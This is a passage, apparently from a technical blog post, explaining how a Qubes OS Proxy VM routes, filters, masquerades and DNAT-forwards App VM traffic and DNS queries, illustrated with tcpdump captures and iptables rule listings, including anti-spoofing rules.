&lt;span class="m"&gt;23&lt;/span&gt;:56:58.019581&lt;span class="w"&gt; &lt;/span&gt;IP&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;10&lt;/span&gt;.137.7.27&lt;span class="w"&gt; &lt;/span&gt;&amp;gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;8&lt;/span&gt;.8.8.8:&lt;span class="w"&gt; &lt;/span&gt;ICMP&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;request,&lt;span class="w"&gt; &lt;/span&gt;id&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;1177&lt;/span&gt;,&lt;span class="w"&gt; &lt;/span&gt;seq&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt;,&lt;span class="w"&gt; &lt;/span&gt;length&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;64&lt;/span&gt;
&lt;span class="m"&gt;23&lt;/span&gt;:56:58.032679&lt;span class="w"&gt; &lt;/span&gt;IP&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;8&lt;/span&gt;.8.8.8&lt;span class="w"&gt; &lt;/span&gt;&amp;gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;10&lt;/span&gt;.137.7.27:&lt;span class="w"&gt; &lt;/span&gt;ICMP&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;reply,&lt;span class="w"&gt; &lt;/span&gt;id&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;1177&lt;/span&gt;,&lt;span class="w"&gt; &lt;/span&gt;seq&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt;,&lt;span class="w"&gt; &lt;/span&gt;length&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;64&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h2 id="upstream---downstream-forwarding"&gt;Upstream - downstream forwarding&lt;/h2&gt;
&lt;p&gt;The Proxy VM acts as a router.&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;root@proxyvm:#&lt;span class="w"&gt; &lt;/span&gt;cat&lt;span class="w"&gt; &lt;/span&gt;/proc/sys/net/ipv4/ip_forward
&lt;span class="m"&gt;1&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;However the VM will &lt;em&gt;drop&lt;/em&gt; all the packets before forwarding them with some exceptions:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;root@proxyvm:#&lt;span class="w"&gt; &lt;/span&gt;iptables-save&lt;span class="w"&gt; &lt;/span&gt;-t&lt;span class="w"&gt; &lt;/span&gt;raw
:PREROUTING&lt;span class="w"&gt; &lt;/span&gt;ACCEPT&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="m"&gt;116&lt;/span&gt;:43405&lt;span class="o"&gt;]&lt;/span&gt;
-A&lt;span class="w"&gt; &lt;/span&gt;PREROUTING&lt;span class="w"&gt; &lt;/span&gt;!&lt;span class="w"&gt; &lt;/span&gt;-s&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;10&lt;/span&gt;.137.7.27/32&lt;span class="w"&gt; &lt;/span&gt;-i&lt;span class="w"&gt; &lt;/span&gt;vif37.0&lt;span class="w"&gt; &lt;/span&gt;-j&lt;span class="w"&gt; &lt;/span&gt;DROP
...

root@proxyvm:#&lt;span class="w"&gt; &lt;/span&gt;iptables-save&lt;span class="w"&gt; &lt;/span&gt;-t&lt;span class="w"&gt; &lt;/span&gt;filter
:FORWARD&lt;span class="w"&gt; &lt;/span&gt;DROP&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="m"&gt;0&lt;/span&gt;:0&lt;span class="o"&gt;]&lt;/span&gt;
...
-A&lt;span class="w"&gt; &lt;/span&gt;FORWARD&lt;span class="w"&gt; &lt;/span&gt;-s&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;10&lt;/span&gt;.137.7.27/32&lt;span class="w"&gt; &lt;/span&gt;-p&lt;span class="w"&gt; &lt;/span&gt;icmp&lt;span class="w"&gt; &lt;/span&gt;-j&lt;span class="w"&gt; &lt;/span&gt;ACCEPT
-A&lt;span class="w"&gt; &lt;/span&gt;FORWARD&lt;span class="w"&gt; &lt;/span&gt;-s&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;10&lt;/span&gt;.137.7.27/32&lt;span class="w"&gt; &lt;/span&gt;-j&lt;span class="w"&gt; &lt;/span&gt;ACCEPT
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;&lt;label for='PGltZyAgY2xhc3M9J2Z1bGx3aWR0aCcgYWx0PScnIHNyYz0nL2ltZy9uZXR3b3JrL3F1YmVzL3F1YmVzLXNwb29mZWQucG5nJyAvPgpUaGUgKnVudHJ1c3RlZCogVk0gc3Bvb2ZzIHRoZSBzb3VyY2UgYWRkcmVzcyBzaW11bGF0aW5nIGEgbWVzc2FnZQoqZnJvbSB0aGUgd29yayogVk07IHJlcGxpZXMgd2lsbCBiZSBhZGRyZXNzZXMgdG8gaXQuCgpUaGlzIHNwb29maW5nIHNjZW5hcmlvIGlzIHByZXZlbnRlZCB3aXRoIHRoZSBgUFJFUk9VVElOR2AgcnVsZXMuCm1hcmdpbg==' class='margin-toggle'&gt;&amp;#8853;&lt;/label&gt;
&lt;input type='checkbox' id='PGltZyAgY2xhc3M9J2Z1bGx3aWR0aCcgYWx0PScnIHNyYz0nL2ltZy9uZXR3b3JrL3F1YmVzL3F1YmVzLXNwb29mZWQucG5nJyAvPgpUaGUgKnVudHJ1c3RlZCogVk0gc3Bvb2ZzIHRoZSBzb3VyY2UgYWRkcmVzcyBzaW11bGF0aW5nIGEgbWVzc2FnZQoqZnJvbSB0aGUgd29yayogVk07IHJlcGxpZXMgd2lsbCBiZSBhZGRyZXNzZXMgdG8gaXQuCgpUaGlzIHNwb29maW5nIHNjZW5hcmlvIGlzIHByZXZlbnRlZCB3aXRoIHRoZSBgUFJFUk9VVElOR2AgcnVsZXMuCm1hcmdpbg==' class='margin-toggle'/&gt;
&lt;span class='marginnote'&gt;
&lt;img  class='fullwidth' alt='' src='/img/network/qubes/qubes-spoofed.png' /&gt;
The &lt;em&gt;untrusted&lt;/em&gt; VM spoofs the source address simulating a message &lt;em&gt;from the work&lt;/em&gt; VM; replies will be addresses to it.
&lt;br /&gt;&lt;br /&gt;
This spoofing scenario is prevented with the &lt;code&gt;PREROUTING&lt;/code&gt; rules.
&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;The &lt;code&gt;PREROUTING&lt;/code&gt; rule prevents a malicious downstream VM (App VM) to send packets to a Proxy VM (via &lt;code&gt;vif37.0&lt;/code&gt;) with a spoofed source IP.&lt;/p&gt;
&lt;p&gt;Otherwise a malicious VM could hijack the traffic of its &lt;em&gt;siblings&lt;/em&gt; VMs.&lt;/p&gt;
&lt;blockquote&gt;
&lt;blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;Proxy VM will act as a router for a particular App VM &lt;strong&gt;only&lt;/strong&gt; for the packets coming from &lt;strong&gt;that&lt;/strong&gt; VM.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;/blockquote&gt;
&lt;/blockquote&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;root@proxyvm:#&lt;span class="w"&gt; &lt;/span&gt;ip&lt;span class="w"&gt; &lt;/span&gt;route&lt;span class="w"&gt; &lt;/span&gt;show
default&lt;span class="w"&gt; &lt;/span&gt;via&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;10&lt;/span&gt;.137.1.1&lt;span class="w"&gt; &lt;/span&gt;dev&lt;span class="w"&gt; &lt;/span&gt;eth0&lt;span class="w"&gt; &lt;/span&gt;proto&lt;span class="w"&gt; &lt;/span&gt;static&lt;span class="w"&gt; &lt;/span&gt;metric&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;100&lt;/span&gt;
&lt;span class="m"&gt;10&lt;/span&gt;.137.1.1&lt;span class="w"&gt; &lt;/span&gt;dev&lt;span class="w"&gt; &lt;/span&gt;eth0&lt;span class="w"&gt; &lt;/span&gt;proto&lt;span class="w"&gt; &lt;/span&gt;static&lt;span class="w"&gt; &lt;/span&gt;scope&lt;span class="w"&gt; &lt;/span&gt;link&lt;span class="w"&gt; &lt;/span&gt;metric&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;100&lt;/span&gt;
&lt;span class="m"&gt;10&lt;/span&gt;.137.1.26&lt;span class="w"&gt; &lt;/span&gt;dev&lt;span class="w"&gt; &lt;/span&gt;eth0&lt;span class="w"&gt; &lt;/span&gt;proto&lt;span class="w"&gt; &lt;/span&gt;kernel&lt;span class="w"&gt; &lt;/span&gt;scope&lt;span class="w"&gt; &lt;/span&gt;link&lt;span class="w"&gt; &lt;/span&gt;src&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;10&lt;/span&gt;.137.1.26&lt;span class="w"&gt; &lt;/span&gt;metric&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;100&lt;/span&gt;
&lt;span class="m"&gt;10&lt;/span&gt;.137.7.27&lt;span class="w"&gt; &lt;/span&gt;dev&lt;span class="w"&gt; &lt;/span&gt;vif37.0&lt;span class="w"&gt; &lt;/span&gt;scope&lt;span class="w"&gt; &lt;/span&gt;link&lt;span class="w"&gt; &lt;/span&gt;metric&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;32715&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;So the incoming ICMP echo request packet with source IP &lt;code&gt;10.137.7.27&lt;/code&gt; enters from &lt;code&gt;vif37.0&lt;/code&gt;, it is accepted by the firewall, routed to &lt;code&gt;eth0&lt;/code&gt; due the default route and goes out.&lt;/p&gt;
&lt;p&gt;Before leaving the Proxy VM, the packet is slightly modified…&lt;/p&gt;
&lt;h2 id="nat"&gt;NAT&lt;/h2&gt;
&lt;p&gt;The Proxy VM allows routing packets coming from its App VM: we see this in the firewall exceptions and in the route where the &lt;strong&gt;specific&lt;/strong&gt; App VM IP is used, &lt;code&gt;10.137.7.27&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;But if we have more Proxy VMs chained ?&lt;/p&gt;
&lt;p&gt;Would the second Proxy VM need the IPs of the first Proxy VM and the App VM to setup its routes?&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;App&lt;span class="w"&gt; &lt;/span&gt;VM&lt;span class="w"&gt; &lt;/span&gt;&amp;lt;-&amp;gt;&lt;span class="w"&gt; &lt;/span&gt;Proxy&lt;span class="w"&gt; &lt;/span&gt;VM&lt;span class="w"&gt; &lt;/span&gt;&amp;lt;-&amp;gt;&lt;span class="w"&gt; &lt;/span&gt;another&lt;span class="w"&gt; &lt;/span&gt;Proxy&lt;span class="w"&gt; &lt;/span&gt;VM&lt;span class="w"&gt; &lt;/span&gt;&amp;lt;-&amp;gt;&lt;span class="w"&gt; &lt;/span&gt;...
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;In general, any Proxy VM would need the IPs of all the downstream VMs!&lt;/p&gt;
&lt;p&gt;That’s not only tedious but also would leak information: higher VMs would know more about the topology. A Net VM would know all the IPs that the environment has.&lt;/p&gt;
&lt;p&gt;However sniffing on Proxy VM’s &lt;code&gt;eth0&lt;/code&gt; shows something different when the ping of App VM is forwarded:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;root@proxyvm:#&lt;span class="w"&gt; &lt;/span&gt;tcpdump&lt;span class="w"&gt; &lt;/span&gt;-n&lt;span class="w"&gt; &lt;/span&gt;-i&lt;span class="w"&gt; &lt;/span&gt;eth0
&lt;span class="o"&gt;(&lt;/span&gt;arp&lt;span class="w"&gt; &lt;/span&gt;omitted&lt;span class="o"&gt;)&lt;/span&gt;
&lt;span class="m"&gt;23&lt;/span&gt;:56:58.019649&lt;span class="w"&gt; &lt;/span&gt;IP&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;10&lt;/span&gt;.137.1.26&lt;span class="w"&gt; &lt;/span&gt;&amp;gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;8&lt;/span&gt;.8.8.8:&lt;span class="w"&gt; &lt;/span&gt;ICMP&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;request,&lt;span class="w"&gt; &lt;/span&gt;id&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;1177&lt;/span&gt;,&lt;span class="w"&gt; &lt;/span&gt;seq&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt;,&lt;span class="w"&gt; &lt;/span&gt;length&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;64&lt;/span&gt;
&lt;span class="m"&gt;23&lt;/span&gt;:56:58.032636&lt;span class="w"&gt; &lt;/span&gt;IP&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;8&lt;/span&gt;.8.8.8&lt;span class="w"&gt; &lt;/span&gt;&amp;gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;10&lt;/span&gt;.137.1.26:&lt;span class="w"&gt; &lt;/span&gt;ICMP&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;reply,&lt;span class="w"&gt; &lt;/span&gt;id&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;1177&lt;/span&gt;,&lt;span class="w"&gt; &lt;/span&gt;seq&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt;,&lt;span class="w"&gt; &lt;/span&gt;length&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;64&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;The source of the request is set to Proxy VM’s &lt;code&gt;eth0&lt;/code&gt; IP, not App VM ones.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span markdown='1'&gt;
Ping to 8.8.8.8 from App VM. Notice how the request is forwarded and in each &lt;em&gt;hop&lt;/em&gt; the source address is changed (NAT).
&lt;br /&gt;&lt;br /&gt;
The reply takes the same path but the source address is &lt;strong&gt;not&lt;/strong&gt; changed.
&lt;/span&gt;&lt;/figcaption&gt;
&lt;img  class='' alt='' src='/img/network/qubes/qubes-full-ping.png' /&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;This is due a NAT rule that &lt;strong&gt;masquerade&lt;/strong&gt; the routed traffic:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;root@proxyvm:#&lt;span class="w"&gt; &lt;/span&gt;iptables-save&lt;span class="w"&gt; &lt;/span&gt;-t&lt;span class="w"&gt; &lt;/span&gt;nat
...
-A&lt;span class="w"&gt; &lt;/span&gt;POSTROUTING&lt;span class="w"&gt; &lt;/span&gt;-o&lt;span class="w"&gt; &lt;/span&gt;vif+&lt;span class="w"&gt; &lt;/span&gt;-j&lt;span class="w"&gt; &lt;/span&gt;ACCEPT
-A&lt;span class="w"&gt; &lt;/span&gt;POSTROUTING&lt;span class="w"&gt; &lt;/span&gt;-o&lt;span class="w"&gt; &lt;/span&gt;lo&lt;span class="w"&gt; &lt;/span&gt;-j&lt;span class="w"&gt; &lt;/span&gt;ACCEPT
-A&lt;span class="w"&gt; &lt;/span&gt;POSTROUTING&lt;span class="w"&gt; &lt;/span&gt;-j&lt;span class="w"&gt; &lt;/span&gt;MASQUERADE
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;The &lt;code&gt;-o vif+&lt;/code&gt; rule prevents masquerade traffic going downward, back to the App VM and the &lt;code&gt;-o lo&lt;/code&gt; ignores loopback traffic.&lt;/p&gt;
&lt;p&gt;The rest, including traffic routed to &lt;code&gt;eth0&lt;/code&gt; is masquerade.&lt;/p&gt;
&lt;p&gt;So all Proxy VMs and Net VMs only need to know the IP of the previous VM and not the full chain.&lt;/p&gt;
&lt;h2 id="packet-walk-through"&gt;Packet walk-through&lt;/h2&gt;
&lt;p&gt;&lt;label for='PG9iamVjdCBzdHlsZT0iZGlzcGxheTogYmxvY2s7IG1hcmdpbi1sZWZ0OiBhdXRvOyBtYXJnaW4tcmlnaHQ6IGF1dG87IiBjbGFzcz0nJyBhbGlnbj0nbWlkZGxlJyBkYXRhPScvaW1nL25ldHdvcmsvcXViZXMvcGF0aC5zdmcnIHR5cGU9J2ltYWdlL3N2Zyt4bWwnPjwvb2JqZWN0Pm1hcmdpbg==' class='margin-toggle'&gt;&amp;#8853;&lt;/label&gt;
&lt;input type='checkbox' id='PG9iamVjdCBzdHlsZT0iZGlzcGxheTogYmxvY2s7IG1hcmdpbi1sZWZ0OiBhdXRvOyBtYXJnaW4tcmlnaHQ6IGF1dG87IiBjbGFzcz0nJyBhbGlnbj0nbWlkZGxlJyBkYXRhPScvaW1nL25ldHdvcmsvcXViZXMvcGF0aC5zdmcnIHR5cGU9J2ltYWdlL3N2Zyt4bWwnPjwvb2JqZWN0Pm1hcmdpbg==' class='margin-toggle'/&gt;
&lt;span class='marginnote'&gt;
&lt;object style="display: block; margin-left: auto; margin-right: auto;" class='' align='middle' data='/img/network/qubes/path.svg' type='image/svg+xml'&gt;&lt;/object&gt;
&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;App VM does a ping to &lt;code&gt;8.8.8.8&lt;/code&gt;, this is the walk-through&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;App VM
| pkt:         10.137.7.27 &amp;gt; 8.8.8.8: ICMP echo request
|
| route:       default via 10.137.7.1 dev eth0
| eth0:        10.137.7.27 &amp;gt; 8.8.8.8: ICMP echo request

Proxy VM
| vif37.0:     10.137.7.27 &amp;gt; 8.8.8.8: ICMP echo request
| prerouting:  ! -s 10.137.7.27/32 -i vif37.0  =&amp;gt; NO DROP
| filter:      FORWARD -s 10.137.7.27/32  =&amp;gt; ACCEPT
|
| route:       default via 10.137.1.1 dev eth0
| postrouting: POSTROUTING  =&amp;gt; MASQUERADE
|
| eth0:        10.137.1.26 &amp;gt; 8.8.8.8: ICMP echo request

--- request is sent to upstream; reply is received moments later ---

Proxy VM
| eth0:        8.8.8.8 &amp;gt; 10.137.1.26: ICMP echo reply
| (rev nat):   8.8.8.8 &amp;gt; 10.137.7.27: ICMP echo reply
| filter:      FORWARD -s 10.137.7.27/32  =&amp;gt; ACCEPT
|
| route:       10.137.7.27 dev vif37.0
| postrouting: POSTROUTING -o vif+  =&amp;gt; DONT MASQUERADE
|
| vif37.0:     8.8.8.8 &amp;gt; 10.137.7.27: ICMP echo reply

App VM
| eth0:          8.8.8.8 &amp;gt; 10.137.7.27: ICMP echo reply&lt;/code&gt;&lt;/pre&gt;
&lt;h2 id="dns"&gt;DNS&lt;/h2&gt;
&lt;p&gt;The DNS traffic is handled like the above but with a twist.&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;root@appvm:#&lt;span class="w"&gt; &lt;/span&gt;nslookup&lt;span class="w"&gt; &lt;/span&gt;google.com
Server:&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="m"&gt;10&lt;/span&gt;.137.7.1
Address:&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="m"&gt;10&lt;/span&gt;.137.7.1#53

Non-authoritative&lt;span class="w"&gt; &lt;/span&gt;answer:
Name:&lt;span class="w"&gt;   &lt;/span&gt;google.com
Address:&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;172&lt;/span&gt;.217.172.46
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;It is interesting to note that App VM queried &lt;code&gt;10.137.7.1&lt;/code&gt; to resolve the address: the Proxy VM is working as a DNS resolver.&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;root@appvm:#&lt;span class="w"&gt; &lt;/span&gt;tcpdump&lt;span class="w"&gt; &lt;/span&gt;-n&lt;span class="w"&gt; &lt;/span&gt;-i&lt;span class="w"&gt; &lt;/span&gt;eth0
...
&lt;span class="m"&gt;23&lt;/span&gt;:58:30.214939&lt;span class="w"&gt; &lt;/span&gt;IP&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;10&lt;/span&gt;.137.7.27.46734&lt;span class="w"&gt; &lt;/span&gt;&amp;gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;10&lt;/span&gt;.137.7.1.53:&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;26595&lt;/span&gt;+&lt;span class="w"&gt; &lt;/span&gt;A?&lt;span class="w"&gt; &lt;/span&gt;google.com.&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="m"&gt;28&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
&lt;span class="m"&gt;23&lt;/span&gt;:58:30.337391&lt;span class="w"&gt; &lt;/span&gt;IP&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;10&lt;/span&gt;.137.7.1.53&lt;span class="w"&gt; &lt;/span&gt;&amp;gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;10&lt;/span&gt;.137.7.27.46734:&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;26595&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt;/0/0&lt;span class="w"&gt; &lt;/span&gt;A&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;172&lt;/span&gt;.217.172.46&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="m"&gt;44&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;root@proxyvm:#&lt;span class="w"&gt; &lt;/span&gt;tcpdump&lt;span class="w"&gt; &lt;/span&gt;-n&lt;span class="w"&gt; &lt;/span&gt;-i&lt;span class="w"&gt; &lt;/span&gt;vif37.0
...
&lt;span class="m"&gt;23&lt;/span&gt;:58:30.220387&lt;span class="w"&gt; &lt;/span&gt;IP&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;10&lt;/span&gt;.137.7.27.46734&lt;span class="w"&gt; &lt;/span&gt;&amp;gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;10&lt;/span&gt;.137.7.1.53:&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;26595&lt;/span&gt;+&lt;span class="w"&gt; &lt;/span&gt;A?&lt;span class="w"&gt; &lt;/span&gt;google.com.&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="m"&gt;28&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
&lt;span class="m"&gt;23&lt;/span&gt;:58:30.342664&lt;span class="w"&gt; &lt;/span&gt;IP&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;10&lt;/span&gt;.137.7.1.53&lt;span class="w"&gt; &lt;/span&gt;&amp;gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;10&lt;/span&gt;.137.7.27.46734:&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;26595&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt;/0/0&lt;span class="w"&gt; &lt;/span&gt;A&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;172&lt;/span&gt;.217.172.46&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="m"&gt;44&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;But that’s a lie: there is no DNS resolver in Proxy VM and the DNS request is forwarded upstream:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;root@proxyvm:#&lt;span class="w"&gt; &lt;/span&gt;tcpdump&lt;span class="w"&gt; &lt;/span&gt;-n&lt;span class="w"&gt; &lt;/span&gt;-i&lt;span class="w"&gt; &lt;/span&gt;eth0
...
&lt;span class="m"&gt;23&lt;/span&gt;:58:30.220455&lt;span class="w"&gt; &lt;/span&gt;IP&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;10&lt;/span&gt;.137.1.26.46734&lt;span class="w"&gt; &lt;/span&gt;&amp;gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;10&lt;/span&gt;.137.1.1.53:&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;26595&lt;/span&gt;+&lt;span class="w"&gt; &lt;/span&gt;A?&lt;span class="w"&gt; &lt;/span&gt;google.com.&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="m"&gt;28&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
&lt;span class="m"&gt;23&lt;/span&gt;:58:30.342616&lt;span class="w"&gt; &lt;/span&gt;IP&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;10&lt;/span&gt;.137.1.1.53&lt;span class="w"&gt; &lt;/span&gt;&amp;gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;10&lt;/span&gt;.137.1.26.46734:&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;26595&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt;/0/0&lt;span class="w"&gt; &lt;/span&gt;A&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;172&lt;/span&gt;.217.172.46&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="m"&gt;44&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Notice how the source address is masqueraded as we saw with the ping packet but the &lt;strong&gt;destination address is changed&lt;/strong&gt; too:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;23:58:30.220387 IP 10.137.7.27.46734 &amp;gt; 10.137.7.1.53: 26595+ A? google.com. (28)
                    NAT  |                   |  DNAT
                         V                   V
23:58:30.220455 IP 10.137.1.26.46734 &amp;gt; 10.137.1.1.53: 26595+ A? google.com. (28)&lt;/code&gt;&lt;/pre&gt;
&lt;h2 id="dnat"&gt;DNAT&lt;/h2&gt;
&lt;p&gt;Nobody is listening on the &lt;code&gt;53 udp&lt;/code&gt; port so the DNAT is applied &lt;em&gt;before&lt;/em&gt; routing.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;root@proxyvm:# iptables-save -t nat
...
-A PREROUTING -j PR-QBS
-A PR-QBS -d 10.137.7.1/32 -p udp -m udp --dport 53 -j DNAT --to-destination 10.137.1.1
-A PR-QBS -d 10.137.7.1/32 -p tcp -m tcp --dport 53 -j DNAT --to-destination 10.137.1.1
-A PR-QBS -d 10.137.7.254/32 -p udp -m udp --dport 53 -j DNAT --to-destination 10.137.1.254
-A PR-QBS -d 10.137.7.254/32 -p tcp -m tcp --dport 53 -j DNAT --to-destination 10.137.1.254
...&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Firewall rules also apply&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;root@proxyvm:# iptables-save -t filter
...
-A FORWARD -s 10.137.7.27/32 -d 10.137.1.1/32 -p udp -m udp --dport 53 -j ACCEPT
-A FORWARD -s 10.137.7.27/32 -d 10.137.1.254/32 -p udp -m udp --dport 53 -j ACCEPT
-A FORWARD -s 10.137.7.27/32 -d 10.137.1.1/32 -p tcp -m tcp --dport 53 -j ACCEPT
-A FORWARD -s 10.137.7.27/32 -d 10.137.1.254/32 -p tcp -m tcp --dport 53 -j ACCEPT
...&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;In the Net VM the destination is replaced by the DNS resolver address configured:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;root@netvm:# iptables-save -t nat
...
-A PR-QBS -d 10.137.3.1/32 -p udp -m udp --dport 53 -j DNAT --to-destination 8.8.8.8
-A PR-QBS -d 10.137.3.1/32 -p tcp -m tcp --dport 53 -j DNAT --to-destination 8.8.8.8
-A PR-QBS -d 10.137.3.254/32 -p udp -m udp --dport 53 -j DNAT --to-destination 8.8.8.8
